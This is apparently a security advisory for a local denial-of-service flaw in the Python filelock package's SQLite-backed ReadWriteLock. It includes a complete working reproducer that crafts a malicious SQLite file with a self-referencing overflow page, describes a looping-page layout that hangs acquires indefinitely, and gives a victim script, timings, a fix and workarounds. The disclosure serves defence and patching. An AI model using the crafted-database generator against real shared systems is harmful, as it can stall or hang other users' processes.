Looping interior pages. The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls read_lock(timeout=1) for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).
At the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are sqlite_master interior pages whose 660 cell pointers all name one 5-byte cell. That cell's child and the page's right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of sqlite_master by 661.
The row is not a valid schema entry, and that does not stop the scan: SQLite raises sqlite3.DatabaseError: malformed database schema (?) only after the last row. One level raises DatabaseError at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661⁶, about 8 × 10¹⁶ rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file acquire_write(timeout=1), acquire_read(blocking=False) and acquire_read(timeout=0) spin on the same line. SIGINT does not raise KeyboardInterrupt (the process was still running at 100% CPU 4 s after kill -INT), because the thread does not leave the one SQLite call.
Reproduction
The scanner's reproducer for ANT-2026-NFPRHMYJ, quoted as received. It ran against commit b831496b0273.
repro
#!/usr/bin/env python3
import os
import resource
import shutil
import subprocess
import sys
import time
# set up: a cache directory both accounts can write, without the sticky bit
shared_dir = "/tmp/shared-cache"
shutil.rmtree(shared_dir, ignore_errors=True)
os.mkdir(shared_dir)
os.chmod(shared_dir, 0o777)
lock_db = f"{shared_dir}/cache.lock.db"
# attack: the attacker creates the lock database first, with 50 schema rows
subprocess.run(
[sys.executable, "/tmp/repro.d/make_stalling_db.py", lock_db, "50"],
user="attacker", group="attacker", extra_groups=[], check=True,
)
print("lock database uses", os.stat(lock_db).st_blocks * 512, "bytes of disk", flush=True)
# victim: an application takes the read lock with a one-second timeout
started = time.monotonic()
subprocess.run(
[sys.executable, "/tmp/repro.d/victim_reader.py", lock_db],
user="victim", group="victim", extra_groups=[], timeout=600,
)
victim_ran_for = time.monotonic() - started
# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout
victim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024 # the victim is the largest child
print(f"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB")
print("BUG" if victim_ran_for > 10 else "OK")
repro.d/make_stalling_db.py
#!/usr/bin/env python3
# usage: make_stalling_db.py <database path> <number of schema rows>
#
# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:
# every row's text continues on one overflow page whose "next overflow page" field names itself.
import os
import struct
import sys
database, schema_rows = sys.argv[1], int(sys.argv[2])
PAGE_SIZE = 4096
LOOP_PAGE = 2
COMMENT_LEN = 999_999_000 # keeps each sql text just under SQLite's 1,000,000,000-byte string limit
CLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2 # SQLite refuses a record longer than page size x pages in the file
TABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D
def varint(value):
groups = [value & 0x7F]
while value := value >> 7:
groups.insert(0, value & 0x7F | 0x80)
return bytes(groups)
def schema_row_cell(rowid):
# the row ('table', name, name, 2, 'CREATE TABLE name(x) --AAAA...'): a valid statement, so SQLite reports no error
name = b"t%04d" % rowid
sql_start = b"CREATE TABLE " + name + b"(x) --"
sql_len = len(sql_start) + COMMENT_LEN
serial_types = b"".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])
record_start = varint(1 + len(serial_types)) + serial_types + b"table" + name + name + b"\x02" + sql_start
record_len = len(record_start) + COMMENT_LEN
# the file format's rule for how much of an overflowing table-leaf record stays on the leaf page
min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35
local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)
if local > max_local:
local = min_local
return varint(record_len) + varint(rowid) + record_start.ljust(local, b"A") + struct.pack(">I", LOOP_PAGE)
def btree_page(page_type, cells, right_child=b"", header_offset=0):
page = bytearray(PAGE_SIZE)
content_start = PAGE_SIZE
cell_pointers = b""
for cell in cells:
content_start -= len(cell)
page[content_start : content_start + len(cell)] = cell
cell_pointers += struct.pack(">H", content_start)
header = struct.pack(">BHHHB", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers
page[header_offset : header_offset + len(header)] = header
return page
# pages 3 and up: the leaves of sqlite_master, about eight rows each
cells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]
rows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)
leaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]
# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text
loop_page = struct.pack(">I", LOOP_PAGE) + b"A" * (PAGE_SIZE - 4)
# page 1: the database header, then the root of sqlite_master with one child per leaf
first_leaf, last_leaf = 3, 3 + len(leaves) - 1
children = [struct.pack(">I", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]
root_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(">I", last_leaf), header_offset=100)
root_page[:100] = b"".join([
b"SQLite format 3\0",
struct.pack(">H", PAGE_SIZE),
bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)
bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions
struct.pack(">I", 1), # file change counter
struct.pack(">I", CLAIMED_PAGES), # database size in pages
struct.pack(">II", 0, 0), # no freelist
struct.pack(">II", 1, 4), # schema cookie, schema format
struct.pack(">II", 0, 0), # default cache size, no auto-vacuum
struct.pack(">I", 1), # text encoding: UTF-8
struct.pack(">III", 0, 0, 0), # user version, incremental vacuum, application id
bytes(20),
struct.pack(">I", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above
struct.pack(">I", 3040001), # SQLite version that wrote the file
])
with open(database, "wb") as file:
file.write(root_page + loop_page + b"".join(leaves))
written = file.tell()
file.truncate(CLAIMED_PAGES * PAGE_SIZE) # SQLite also refuses a file shorter than it claims; this stays a hole
os.chmod(database, 0o666) # the victim's ReadWriteLock opens the database read-write
print(f"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}")
repro.d/victim_reader.py
import sys
import time
from filelock import ReadWriteLock, Timeout
lock = ReadWriteLock(sys.argv[1])
started = time.monotonic()
try:
with lock.read_lock(timeout=1):
outcome = "acquired"
except Timeout:
outcome = "timed out"
print(f"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s")
Failure sequence
flowchart TB
P0["other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user"] --> P1["lock user's acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted"]
P1 --> P2["PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading"]
P2 --> P3["50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout"]
P2 --> P4["6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed"]
classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;
classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;
classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
class P0,P1,P2 info;
class P3,P4 bad;
Evidence
The scanner's reproducer runs as root and drops to attacker and victim. It recreates /tmp/shared-cache with mode 0777 and no sticky bit. It runs make_stalling_db.py /tmp/shared-cache/cache.lock.db 50 as attacker. That script writes the header and the sqlite_master root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid CREATE TABLE tNNNN(x) --AAAA… rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode 0666. It then runs victim_reader.py (ReadWriteLock(path) and one with lock.read_lock(timeout=1):) as victim and times it:
attacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632
lock database uses 36864 bytes of disk
victim: read_lock(timeout=1) acquired after 24.6 s
victim process ran for 24.8 s, peak RSS 981 MB
BUG
The verdict is BUG when the victim process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (looping_db.py) builds the looping file; the same victim_reader.py run on it as victim does not return. A victim process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a 1777 directory a 0666 database owned by victim, overwritten in place with the looping file, hung the next acquire.
Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head the victim process stops with a ValueError after 0.1 s at 24 MB peak RSS and the reproducer prints OK.
Impact
Another local user who can create or replace the lock database makes every acquire_read / acquire_write of every process using that ReadWriteLock run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of timeout or blocking=False. This goes beyond what holding the lock gives that user, because a held lock ends in Timeout when the caller's timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, Timeout is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user's process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.
Workarounds
- Keep the
ReadWriteLockdatabase in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. - Do not give the lock a database another account may write. The lock creates its database
0600, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a0666database stays reachable even in/tmp. - If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/834
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan
filelock-20261015-005of commitb831496b0273) - 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it
- 2026-10-16 01:15 UTC: fix PR #834 opened
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.0"
},
"package": {
"ecosystem": "PyPI",
"name": "filelock"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.4"
},
{
"fixed": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112915"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:08:49Z",
"nvd_published_at": "2026-10-20T15:17:15Z",
"severity": "MODERATE"
},
"details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller\u0027s `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection\u0027s lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`\u0027s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.\n\nOne 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.\n\nAnthropic\u0027s OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged).\n\nClassification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file\u0027s owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user\u0027s database aside and put the crafted one in its place. The other way: the lock user\u0027s own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user\u0027s next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`.\n- Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user\u0027s `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a `0666` database owned by the lock user. The scanner did not test systems with `fs.protected_regular=0` (the kernel\u0027s own default).\n- Platform. Every platform runs the same statements. On Windows the documentation already requires a lock directory that untrusted users cannot write, so the shared-directory setup is outside what the project supports there.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock\u0027s directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_configure_and_begin` runs `PRAGMA busy_timeout=...; PRAGMA journal_mode=MEMORY;` on a fresh connection](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L814-L816), and for a read lock [`SELECT name FROM sqlite_master LIMIT 1` at line 832](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L832). The code in [`_do_acquire_inner` closes the previous connection and opens a new one on every acquire](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L745-L754). The only content checks are [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) (regular file) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) (20 header bytes).\n\n## Introduced\n\nThe acquire path dates from `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\", 2026-02-12), first released in **3.20.4** (verified: `git tag --contains cfd4446` gives 3.20.4). Since #657 (3.30.0) the lock reopens the connection on every acquire, so the stall repeats on every acquire rather than once per instance.\n\n## Mechanism\n\n`PRAGMA journal_mode=MEMORY` is the first statement that needs the schema. SQLite reads every row of `sqlite_master` and parses each row\u0027s `sql` text there. Run one at a time on the crafted file, `PRAGMA busy_timeout` returns at once and `PRAGMA journal_mode=MEMORY` takes the whole time. The read-mode `SELECT` needs the schema too. The caller\u0027s `timeout` reaches SQLite only as `busy_timeout` (lines 814 to 816 and 823 to 826), which limits how long SQLite waits for another connection\u0027s file lock. Loading the schema is not a wait, so nothing limits it. `blocking=False` and `timeout=0` reach SQLite as `busy_timeout=0` and stall the same way (2.4 s each with a 5-row file). `acquire_write` runs the same pragma. `AsyncReadWriteLock.read_lock(timeout=1)` stalls the same way (4.7 s with 10 rows; wrapping the acquire in `asyncio.wait_for(..., 2)` does not return earlier). A second `acquire_read` on the same instance stalls for as long as the first.\n\nThe constructor is not affected. Its validation connection (lines 484 and 485) runs no statement, so the lock user sees nothing until the first acquire. A stack dump taken 2 s into the stall shows the thread in `_configure_and_begin` at the `executescript` call. The lock accepts any SQLite file that is a regular file and not in WAL mode, whoever created it. Two layouts reach the load, at the same statement and with the same preconditions.\n\n**Long schema rows.** Each `sqlite_master` row is `(\u0027table\u0027, \u0027t0001\u0027, \u0027t0001\u0027, 2, \u0027CREATE TABLE t0001(x) --AAAA\u2026\u0027)` with an `sql` text of 999,999,024 bytes, under SQLite\u0027s 1,000,000,000-byte limit. The file does not store the text. Each row\u0027s cell names page 2 as its first overflow page (a page that holds the part of a row too large for its own page), and the \"next overflow page\" field of page 2 names page 2 again. SQLite builds each row from the same 4 KB page, read about 244,000 times over. The header claims 244,142 pages, because SQLite rejects a record larger than page size times page count. The script extends the file to that length as a hole (unallocated space that reads as zeros), because SQLite also rejects a file shorter than its header claims. Eight rows fit in one 4 KB leaf page. The statements are valid `CREATE TABLE`s, so SQLite reports no error, and after the stall the acquire succeeds; it does not raise `Timeout`.\n\nMeasured with `read_lock(timeout=1)`: 1 row, 12,288 bytes on disk, returns after 0.6 s; 10 rows, 16,384 bytes, 4.8 s; 50 rows, 36,864 bytes, 23 s. Peak RSS (resident set size, the memory the process holds) is 981 MB in every case, because memory stays at one row\u0027s worth; the cost is about 0.47 s per row. Under a 512 MiB address-space limit the same acquire raises `MemoryError` from line 816.\n\n**Looping interior pages.** The long rows are one way in, not the cause: SQLite loads whatever schema the file holds, with no bound. A 20 KB file with no long rows, whose three index pages each point 200 times at the same child page (8,000,000 leaves), stalls `read_lock(timeout=1)` for 8 s with 10 MB of memory. Each extra level multiplies the time by the fan-out (the number of children per page).\n\nAt the largest fan-out SQLite accepts, the stall becomes a hang. In a 28,672-byte file of seven 4 KB pages, pages 1 to 6 are `sqlite_master` interior pages whose 660 cell pointers all name one 5-byte cell. That cell\u0027s child and the page\u0027s right-most child are both the next page, and page 7 is a leaf with one row of five NULLs. SQLite 3.40.1 refuses a page with more than 681 cells and a tree deeper than 20 pages, but does not notice that it reaches a page more than once. Each level therefore multiplies the rows of `sqlite_master` by 661.\n\nThe row is not a valid schema entry, and that does not stop the scan: SQLite raises `sqlite3.DatabaseError: malformed database schema (?)` only after the last row. One level raises `DatabaseError` at once. Two levels (12 KiB) give 436,921 rows after 0.16 s. Six levels (28 KiB) give 661\u2076, about 8 \u00d7 10\u00b9\u2076 rows, still at line 816 with 30 s of CPU time used when killed after 30 s. On that file `acquire_write(timeout=1)`, `acquire_read(blocking=False)` and `acquire_read(timeout=0)` spin on the same line. `SIGINT` does not raise `KeyboardInterrupt` (the process was still running at 100% CPU 4 s after `kill -INT`), because the thread does not leave the one SQLite call.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for `ANT-2026-NFPRHMYJ`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport resource\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n# set up: a cache directory both accounts can write, without the sticky bit\nshared_dir = \"/tmp/shared-cache\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\nlock_db = f\"{shared_dir}/cache.lock.db\"\n\n# attack: the attacker creates the lock database first, with 50 schema rows\nsubprocess.run(\n [sys.executable, \"/tmp/repro.d/make_stalling_db.py\", lock_db, \"50\"],\n user=\"attacker\", group=\"attacker\", extra_groups=[], check=True,\n)\nprint(\"lock database uses\", os.stat(lock_db).st_blocks * 512, \"bytes of disk\", flush=True)\n\n# victim: an application takes the read lock with a one-second timeout\nstarted = time.monotonic()\nsubprocess.run(\n [sys.executable, \"/tmp/repro.d/victim_reader.py\", lock_db],\n user=\"victim\", group=\"victim\", extra_groups=[], timeout=600,\n)\nvictim_ran_for = time.monotonic() - started\n\n# check: with timeout=1 the victim must be done within about a second, either holding the lock or with Timeout\nvictim_peak_rss_mb = resource.getrusage(resource.RUSAGE_CHILDREN).ru_maxrss // 1024 # the victim is the largest child\nprint(f\"victim process ran for {victim_ran_for:.1f} s, peak RSS {victim_peak_rss_mb} MB\")\nprint(\"BUG\" if victim_ran_for \u003e 10 else \"OK\")\n```\n\n**`repro.d/make_stalling_db.py`**\n\n```python\n#!/usr/bin/env python3\n# usage: make_stalling_db.py \u003cdatabase path\u003e \u003cnumber of schema rows\u003e\n#\n# Writes a SQLite database whose sqlite_master rows each carry ~1 GB of `sql` text, stored in a few 4 KB pages:\n# every row\u0027s text continues on one overflow page whose \"next overflow page\" field names itself.\nimport os\nimport struct\nimport sys\n\ndatabase, schema_rows = sys.argv[1], int(sys.argv[2])\n\nPAGE_SIZE = 4096\nLOOP_PAGE = 2\nCOMMENT_LEN = 999_999_000 # keeps each sql text just under SQLite\u0027s 1,000,000,000-byte string limit\nCLAIMED_PAGES = COMMENT_LEN // PAGE_SIZE + 2 # SQLite refuses a record longer than page size x pages in the file\nTABLE_INTERIOR_PAGE, TABLE_LEAF_PAGE = 0x05, 0x0D\n\n\ndef varint(value):\n groups = [value \u0026 0x7F]\n while value := value \u003e\u003e 7:\n groups.insert(0, value \u0026 0x7F | 0x80)\n return bytes(groups)\n\n\ndef schema_row_cell(rowid):\n # the row (\u0027table\u0027, name, name, 2, \u0027CREATE TABLE name(x) --AAAA...\u0027): a valid statement, so SQLite reports no error\n name = b\"t%04d\" % rowid\n sql_start = b\"CREATE TABLE \" + name + b\"(x) --\"\n sql_len = len(sql_start) + COMMENT_LEN\n serial_types = b\"\".join(varint(t) for t in [13 + 2 * 5, 13 + 2 * len(name), 13 + 2 * len(name), 1, 13 + 2 * sql_len])\n record_start = varint(1 + len(serial_types)) + serial_types + b\"table\" + name + name + b\"\\x02\" + sql_start\n record_len = len(record_start) + COMMENT_LEN\n # the file format\u0027s rule for how much of an overflowing table-leaf record stays on the leaf page\n min_local, max_local = (PAGE_SIZE - 12) * 32 // 255 - 23, PAGE_SIZE - 35\n local = min_local + (record_len - min_local) % (PAGE_SIZE - 4)\n if local \u003e max_local:\n local = min_local\n return varint(record_len) + varint(rowid) + record_start.ljust(local, b\"A\") + struct.pack(\"\u003eI\", LOOP_PAGE)\n\n\ndef btree_page(page_type, cells, right_child=b\"\", header_offset=0):\n page = bytearray(PAGE_SIZE)\n content_start = PAGE_SIZE\n cell_pointers = b\"\"\n for cell in cells:\n content_start -= len(cell)\n page[content_start : content_start + len(cell)] = cell\n cell_pointers += struct.pack(\"\u003eH\", content_start)\n header = struct.pack(\"\u003eBHHHB\", page_type, 0, len(cells), content_start, 0) + right_child + cell_pointers\n page[header_offset : header_offset + len(header)] = header\n return page\n\n\n# pages 3 and up: the leaves of sqlite_master, about eight rows each\ncells = [schema_row_cell(rowid) for rowid in range(1, schema_rows + 1)]\nrows_per_leaf = (PAGE_SIZE - 8) // (len(cells[0]) + 2)\nleaves = [btree_page(TABLE_LEAF_PAGE, cells[i : i + rows_per_leaf]) for i in range(0, schema_rows, rows_per_leaf)]\n\n# page 2: the overflow page, pointing at itself, then 4092 bytes of comment text\nloop_page = struct.pack(\"\u003eI\", LOOP_PAGE) + b\"A\" * (PAGE_SIZE - 4)\n\n# page 1: the database header, then the root of sqlite_master with one child per leaf\nfirst_leaf, last_leaf = 3, 3 + len(leaves) - 1\nchildren = [struct.pack(\"\u003eI\", first_leaf + i) + varint((i + 1) * rows_per_leaf) for i in range(len(leaves) - 1)]\nroot_page = btree_page(TABLE_INTERIOR_PAGE, children, right_child=struct.pack(\"\u003eI\", last_leaf), header_offset=100)\nroot_page[:100] = b\"\".join([\n b\"SQLite format 3\\0\",\n struct.pack(\"\u003eH\", PAGE_SIZE),\n bytes([1, 1]), # file format versions: rollback journal, not WAL (which ReadWriteLock refuses)\n bytes([0, 64, 32, 32]), # reserved bytes per page and the three fixed payload fractions\n struct.pack(\"\u003eI\", 1), # file change counter\n struct.pack(\"\u003eI\", CLAIMED_PAGES), # database size in pages\n struct.pack(\"\u003eII\", 0, 0), # no freelist\n struct.pack(\"\u003eII\", 1, 4), # schema cookie, schema format\n struct.pack(\"\u003eII\", 0, 0), # default cache size, no auto-vacuum\n struct.pack(\"\u003eI\", 1), # text encoding: UTF-8\n struct.pack(\"\u003eIII\", 0, 0, 0), # user version, incremental vacuum, application id\n bytes(20),\n struct.pack(\"\u003eI\", 1), # version-valid-for equals the change counter, so SQLite trusts the page count above\n struct.pack(\"\u003eI\", 3040001), # SQLite version that wrote the file\n])\n\nwith open(database, \"wb\") as file:\n file.write(root_page + loop_page + b\"\".join(leaves))\n written = file.tell()\n file.truncate(CLAIMED_PAGES * PAGE_SIZE) # SQLite also refuses a file shorter than it claims; this stays a hole\nos.chmod(database, 0o666) # the victim\u0027s ReadWriteLock opens the database read-write\nprint(f\"attacker: wrote {database}: {schema_rows} schema rows in {written} bytes, apparent size {CLAIMED_PAGES * PAGE_SIZE}\")\n```\n\n**`repro.d/victim_reader.py`**\n\n```python\nimport sys\nimport time\n\nfrom filelock import ReadWriteLock, Timeout\n\nlock = ReadWriteLock(sys.argv[1])\nstarted = time.monotonic()\ntry:\n with lock.read_lock(timeout=1):\n outcome = \"acquired\"\nexcept Timeout:\n outcome = \"timed out\"\nprint(f\"victim: read_lock(timeout=1) {outcome} after {time.monotonic() - started:.1f} s\")\n```\n\n## Failure sequence\n\n```mermaid\nflowchart TB\n P0[\"other user puts a crafted SQLite file at the lock path (mode 0666), or overwrites a 0666 database owned by the lock user\"] --\u003e P1[\"lock user\u0027s acquire_read(timeout=1) opens a fresh connection, header is not WAL so it is accepted\"]\n P1 --\u003e P2[\"PRAGMA busy_timeout then PRAGMA journal_mode=MEMORY loads all of sqlite_master, busy_timeout does not apply to schema loading\"]\n P2 --\u003e P3[\"50 rows of ~1 GB through one self-referencing overflow page: returns after 24.6 s at 981 MB RSS, lock granted, no Timeout\"]\n P2 --\u003e P4[\"6 interior levels pointing at one child (28 KiB): 661^6 rows, does not return, 100% CPU, SIGINT ignored, process must be killed\"]\n classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n class P0,P1,P2 info;\n class P3,P4 bad;\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer runs as root and drops to `attacker` and `victim`. It recreates `/tmp/shared-cache` with mode `0777` and no sticky bit. It runs `make_stalling_db.py /tmp/shared-cache/cache.lock.db 50` as `attacker`. That script writes the header and the `sqlite_master` root on page 1, the self-referencing overflow page on page 2, and leaf pages holding 50 valid `CREATE TABLE tNNNN(x) --AAAA\u2026` rows whose text runs to under 1 GB through page 2, extended to the claimed page count as a hole, mode `0666`. It then runs `victim_reader.py` (`ReadWriteLock(path)` and one `with lock.read_lock(timeout=1):`) as `victim` and times it:\n\n```\nattacker: wrote /tmp/shared-cache/cache.lock.db: 50 schema rows in 36864 bytes, apparent size 1000005632\nlock database uses 36864 bytes of disk\nvictim: read_lock(timeout=1) acquired after 24.6 s\nvictim process ran for 24.8 s, peak RSS 981 MB\nBUG\n```\n\nThe verdict is `BUG` when the `victim` process, whose only work is an acquire with a one-second timeout, ran for more than 10 s. A separate script in the report (`looping_db.py`) builds the looping file; the same `victim_reader.py` run on it as `victim` does not return. A `victim` process that had already used the lock stalled on its next acquire after the other user swapped the file under it. In a `1777` directory a `0666` database owned by `victim`, overwritten in place with the looping file, hung the next acquire.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head the `victim` process stops with a `ValueError` after 0.1 s at 24 MB peak RSS and the reproducer prints `OK`.\n\n## Impact\n\nAnother local user who can create or replace the lock database makes every `acquire_read` / `acquire_write` of every process using that `ReadWriteLock` run for a time of their choosing (about 500 bytes of disk per extra half second) while allocating about 1 GB, or not return at all, regardless of `timeout` or `blocking=False`. This goes beyond what holding the lock gives that user, because a held lock ends in `Timeout` when the caller\u0027s timeout runs out, and this does not. With the looping-page layout the acquiring thread spins at 100% of one CPU on a free lock, `Timeout` is not raised, Ctrl-C does not interrupt it, and only killing the process ends it. It is a denial of service of the lock user\u0027s process only: it reads nothing and corrupts nothing, and in the long-row case the lock is still granted afterwards.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky.\n- Do not give the lock a database another account may write. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content. A lock shared between accounts through a `0666` database stays reachable even in `/tmp`.\n- If a stall or hang appears, the file at the lock path is the cause; replacing it with an empty file restores the lock.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 05:38 UTC: draft advisory GHSA-v4x8-3wr5-3wq8 created for the group; this per-finding draft split out of it\n- 2026-10-16 01:15 UTC: fix PR #834 opened",
"id": "GHSA-cwqr-hh33-gh44",
"modified": "2026-10-28T21:08:49Z",
"published": "2026-10-28T21:08:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-cwqr-hh33-gh44"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112915"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/pull/834"
},
{
"type": "WEB",
"url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d"
},
{
"type": "PACKAGE",
